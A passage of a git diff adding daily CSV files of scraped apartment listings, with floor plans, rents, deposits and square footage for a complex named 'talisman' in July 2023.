sq.ft.,None,N/A +20230709,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230709,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230709,talisman,D1 (3x2),3 Bed 2 Bath,"$3,766",$300,1241 - 1362 sq.ft.,None,N/A +20230709,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230709,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230709,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230710.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230710.csv new file mode 100644 index 00000000000..654d09f2383 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230710.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230710,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230710,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230710,talisman,A10 (1x1),1 Bed 1 Bath,"$1,941",$300,578 - 665 sq.ft.,None,N/A +20230710,talisman,A1 (1x1),1 Bed 1 Bath,"$1,961",$300,604 - 671 sq.ft.,None,N/A +20230710,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230710,talisman,A3 (1x1),1 Bed 1 Bath,"$2,046",$300,609 - 642 sq.ft.,None,N/A +20230710,talisman,A2 (1x1),1 Bed 1 Bath,"$1,986",$300,617 - 715 sq.ft.,None,N/A +20230710,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230710,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230710,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230710,talisman,B5 (1x1),1 Bed 1 Bath,"$2,576",$300,674 - 775 sq.ft.,None,N/A +20230710,talisman,B2 (1x1),1 Bed 1 Bath,"$2,566",$300,706 - 739 sq.ft.,None,N/A +20230710,talisman,A4 (1x1),1 Bed 1 Bath,"$2,101",$300,713 - 716 sq.ft.,None,N/A +20230710,talisman,A5 (1x1),1 Bed 1 Bath,"$2,161",$300,734 - 739 sq.ft.,None,N/A +20230710,talisman,AL1 (1x1),1 Bed 1 Bath,"$3,192",$300,745 - 828 sq.ft.,None,N/A +20230710,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230710,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230710,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230710,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230710,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230710,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230710,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230710,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230710,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230710,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230710,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230710,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230710,talisman,C5 (2x2),2 Bed 2 Bath,"$3,264",$300,934 - 984 sq.ft.,None,N/A +20230710,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230710,talisman,C1 (2x2),2 Bed 2 Bath,"$3,649",$300,1029 - 1294 sq.ft.,None,N/A +20230710,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230710,talisman,C7 (2x2),2 Bed 2 Bath,"$3,364",$300,1074 - 1131 sq.ft.,None,N/A +20230710,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,786",$300,1140 - 1185 sq.ft.,None,N/A +20230710,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230710,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230710,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230710,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230710,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230710,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230710,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230710,talisman,D1 (3x2),3 Bed 2 Bath,"$3,784",$300,1241 - 1362 sq.ft.,None,N/A +20230710,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230710,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230710,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230711.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230711.csv new file mode 100644 index 00000000000..5a76d9b522d --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230711.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230711,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230711,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230711,talisman,A10 (1x1),1 Bed 1 Bath,"$1,941",$300,578 - 665 sq.ft.,None,N/A +20230711,talisman,A1 (1x1),1 Bed 1 Bath,"$1,961",$300,604 - 671 sq.ft.,None,N/A +20230711,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230711,talisman,A3 (1x1),1 Bed 1 Bath,"$2,046",$300,609 - 642 sq.ft.,None,N/A +20230711,talisman,A2 (1x1),1 Bed 1 Bath,"$1,986",$300,617 - 715 sq.ft.,None,N/A +20230711,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230711,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230711,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230711,talisman,B5 (1x1),1 Bed 1 Bath,"$2,576",$300,674 - 775 sq.ft.,None,N/A +20230711,talisman,B2 (1x1),1 Bed 1 Bath,"$2,566",$300,706 - 739 sq.ft.,None,N/A +20230711,talisman,A4 (1x1),1 Bed 1 Bath,"$2,101",$300,713 - 716 sq.ft.,None,N/A +20230711,talisman,A5 (1x1),1 Bed 1 Bath,"$2,161",$300,734 - 739 sq.ft.,None,N/A +20230711,talisman,AL1 (1x1),1 Bed 1 Bath,"$3,192",$300,745 - 828 sq.ft.,None,N/A +20230711,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230711,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230711,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230711,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230711,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230711,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230711,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230711,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230711,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230711,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230711,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230711,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230711,talisman,C5 (2x2),2 Bed 2 Bath,"$3,264",$300,934 - 984 sq.ft.,None,N/A +20230711,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230711,talisman,C1 (2x2),2 Bed 2 Bath,"$3,649",$300,1029 - 1294 sq.ft.,None,N/A +20230711,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230711,talisman,C7 (2x2),2 Bed 2 Bath,"$3,364",$300,1074 - 1131 sq.ft.,None,N/A +20230711,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,786",$300,1140 - 1185 sq.ft.,None,N/A +20230711,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230711,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230711,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230711,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,865",$300,1228 - 1296 sq.ft.,None,N/A +20230711,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230711,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230711,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230711,talisman,D1 (3x2),3 Bed 2 Bath,"$3,784",$300,1241 - 1362 sq.ft.,None,N/A +20230711,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230711,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230711,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230712.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230712.csv new file mode 100644 index 00000000000..9bfa6e867f2 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230712.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230712,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230712,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230712,talisman,A10 (1x1),1 Bed 1 Bath,"$1,941",$300,578 - 665 sq.ft.,None,N/A +20230712,talisman,A1 (1x1),1 Bed 1 Bath,"$1,961",$300,604 - 671 sq.ft.,None,N/A +20230712,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230712,talisman,A3 (1x1),1 Bed 1 Bath,"$2,046",$300,609 - 642 sq.ft.,None,N/A +20230712,talisman,A2 (1x1),1 Bed 1 Bath,"$1,986",$300,617 - 715 sq.ft.,None,N/A +20230712,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230712,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230712,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230712,talisman,B5 (1x1),1 Bed 1 Bath,"$2,576",$300,674 - 775 sq.ft.,None,N/A +20230712,talisman,B2 (1x1),1 Bed 1 Bath,"$2,566",$300,706 - 739 sq.ft.,None,N/A +20230712,talisman,A4 (1x1),1 Bed 1 Bath,"$2,101",$300,713 - 716 sq.ft.,None,N/A +20230712,talisman,A5 (1x1),1 Bed 1 Bath,"$2,161",$300,734 - 739 sq.ft.,None,N/A +20230712,talisman,AL1 (1x1),1 Bed 1 Bath,"$3,192",$300,745 - 828 sq.ft.,None,N/A +20230712,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230712,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230712,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230712,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230712,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230712,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230712,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230712,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230712,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230712,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230712,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230712,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230712,talisman,C5 (2x2),2 Bed 2 Bath,"$3,264",$300,934 - 984 sq.ft.,None,N/A +20230712,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230712,talisman,C1 (2x2),2 Bed 2 Bath,"$3,649",$300,1029 - 1294 sq.ft.,None,N/A +20230712,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230712,talisman,C7 (2x2),2 Bed 2 Bath,"$3,469",$300,1074 - 1131 sq.ft.,None,N/A +20230712,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,786",$300,1140 - 1185 sq.ft.,None,N/A +20230712,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230712,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230712,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230712,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,887",$300,1228 - 1296 sq.ft.,None,N/A +20230712,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230712,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230712,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230712,talisman,D1 (3x2),3 Bed 2 Bath,"$3,784",$300,1241 - 1362 sq.ft.,None,N/A +20230712,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230712,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230712,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230713.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230713.csv new file mode 100644 index 00000000000..1efdf1f270d --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230713.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230713,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230713,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230713,talisman,A10 (1x1),1 Bed 1 Bath,"$1,840",$300,578 - 665 sq.ft.,None,N/A +20230713,talisman,A1 (1x1),1 Bed 1 Bath,"$1,940",$300,604 - 671 sq.ft.,None,N/A +20230713,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230713,talisman,A3 (1x1),1 Bed 1 Bath,"$1,945",$300,609 - 642 sq.ft.,None,N/A +20230713,talisman,A2 (1x1),1 Bed 1 Bath,"$1,885",$300,617 - 715 sq.ft.,None,N/A +20230713,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230713,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230713,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230713,talisman,B5 (1x1),1 Bed 1 Bath,"$2,576",$300,674 - 775 sq.ft.,None,N/A +20230713,talisman,B2 (1x1),1 Bed 1 Bath,"$2,566",$300,706 - 739 sq.ft.,None,N/A +20230713,talisman,A4 (1x1),1 Bed 1 Bath,"$2,000",$300,713 - 716 sq.ft.,None,N/A +20230713,talisman,A5 (1x1),1 Bed 1 Bath,"$2,060",$300,734 - 739 sq.ft.,None,N/A +20230713,talisman,AL1 (1x1),1 Bed 1 Bath,"$3,021",$300,745 - 828 sq.ft.,None,N/A +20230713,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230713,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230713,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230713,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230713,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230713,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230713,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230713,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230713,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230713,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230713,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230713,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230713,talisman,C5 (2x2),2 Bed 2 Bath,"$3,090",$300,934 - 984 sq.ft.,None,N/A +20230713,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230713,talisman,C1 (2x2),2 Bed 2 Bath,"$3,475",$300,1029 - 1294 sq.ft.,None,N/A +20230713,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230713,talisman,C7 (2x2),2 Bed 2 Bath,"$3,295",$300,1074 - 1131 sq.ft.,None,N/A +20230713,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,615",$300,1140 - 1185 sq.ft.,None,N/A +20230713,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230713,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230713,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230713,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,716",$300,1228 - 1296 sq.ft.,None,N/A +20230713,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230713,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230713,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230713,talisman,D1 (3x2),3 Bed 2 Bath,"$3,610",$300,1241 - 1362 sq.ft.,None,N/A +20230713,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230713,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230713,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230714.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230714.csv new file mode 100644 index 00000000000..ec4319b700b --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230714.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230714,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230714,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230714,talisman,A10 (1x1),1 Bed 1 Bath,"$1,840",$300,578 - 665 sq.ft.,None,N/A +20230714,talisman,A1 (1x1),1 Bed 1 Bath,"$1,940",$300,604 - 671 sq.ft.,None,N/A +20230714,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230714,talisman,A3 (1x1),1 Bed 1 Bath,"$1,945",$300,609 - 642 sq.ft.,None,N/A +20230714,talisman,A2 (1x1),1 Bed 1 Bath,"$1,885",$300,617 - 715 sq.ft.,None,N/A +20230714,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230714,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230714,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230714,talisman,B5 (1x1),1 Bed 1 Bath,"$2,576",$300,674 - 775 sq.ft.,None,N/A +20230714,talisman,B2 (1x1),1 Bed 1 Bath,"$2,566",$300,706 - 739 sq.ft.,None,N/A +20230714,talisman,A4 (1x1),1 Bed 1 Bath,"$2,000",$300,713 - 716 sq.ft.,None,N/A +20230714,talisman,A5 (1x1),1 Bed 1 Bath,"$2,060",$300,734 - 739 sq.ft.,None,N/A +20230714,talisman,AL1 (1x1),1 Bed 1 Bath,"$3,021",$300,745 - 828 sq.ft.,None,N/A +20230714,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230714,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230714,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230714,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230714,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230714,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230714,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230714,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230714,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230714,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230714,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230714,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230714,talisman,C5 (2x2),2 Bed 2 Bath,"$3,090",$300,934 - 984 sq.ft.,None,N/A +20230714,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230714,talisman,C1 (2x2),2 Bed 2 Bath,"$3,475",$300,1029 - 1294 sq.ft.,None,N/A +20230714,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230714,talisman,C7 (2x2),2 Bed 2 Bath,"$3,295",$300,1074 - 1131 sq.ft.,None,N/A +20230714,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,615",$300,1140 - 1185 sq.ft.,None,N/A +20230714,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230714,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230714,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230714,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,716",$300,1228 - 1296 sq.ft.,None,N/A +20230714,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230714,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230714,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230714,talisman,D1 (3x2),3 Bed 2 Bath,"$3,610",$300,1241 - 1362 sq.ft.,None,N/A +20230714,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230714,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230714,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230715.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230715.csv new file mode 100644 index 00000000000..72df0d218fe --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230715.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230715,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230715,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230715,talisman,A10 (1x1),1 Bed 1 Bath,"$1,759",$300,578 - 665 sq.ft.,None,N/A +20230715,talisman,A1 (1x1),1 Bed 1 Bath,"$1,804",$300,604 - 671 sq.ft.,None,N/A +20230715,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230715,talisman,A3 (1x1),1 Bed 1 Bath,"$1,864",$300,609 - 642 sq.ft.,None,N/A +20230715,talisman,A2 (1x1),1 Bed 1 Bath,"$1,804",$300,617 - 715 sq.ft.,None,N/A +20230715,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230715,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230715,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230715,talisman,B5 (1x1),1 Bed 1 Bath,"$2,576",$300,674 - 775 sq.ft.,None,N/A +20230715,talisman,B2 (1x1),1 Bed 1 Bath,"$2,566",$300,706 - 739 sq.ft.,None,N/A +20230715,talisman,A4 (1x1),1 Bed 1 Bath,"$1,919",$300,713 - 716 sq.ft.,None,N/A +20230715,talisman,A5 (1x1),1 Bed 1 Bath,"$1,979",$300,734 - 739 sq.ft.,None,N/A +20230715,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,859",$300,745 - 828 sq.ft.,None,N/A +20230715,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230715,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230715,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230715,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230715,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230715,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230715,talisman,BL5 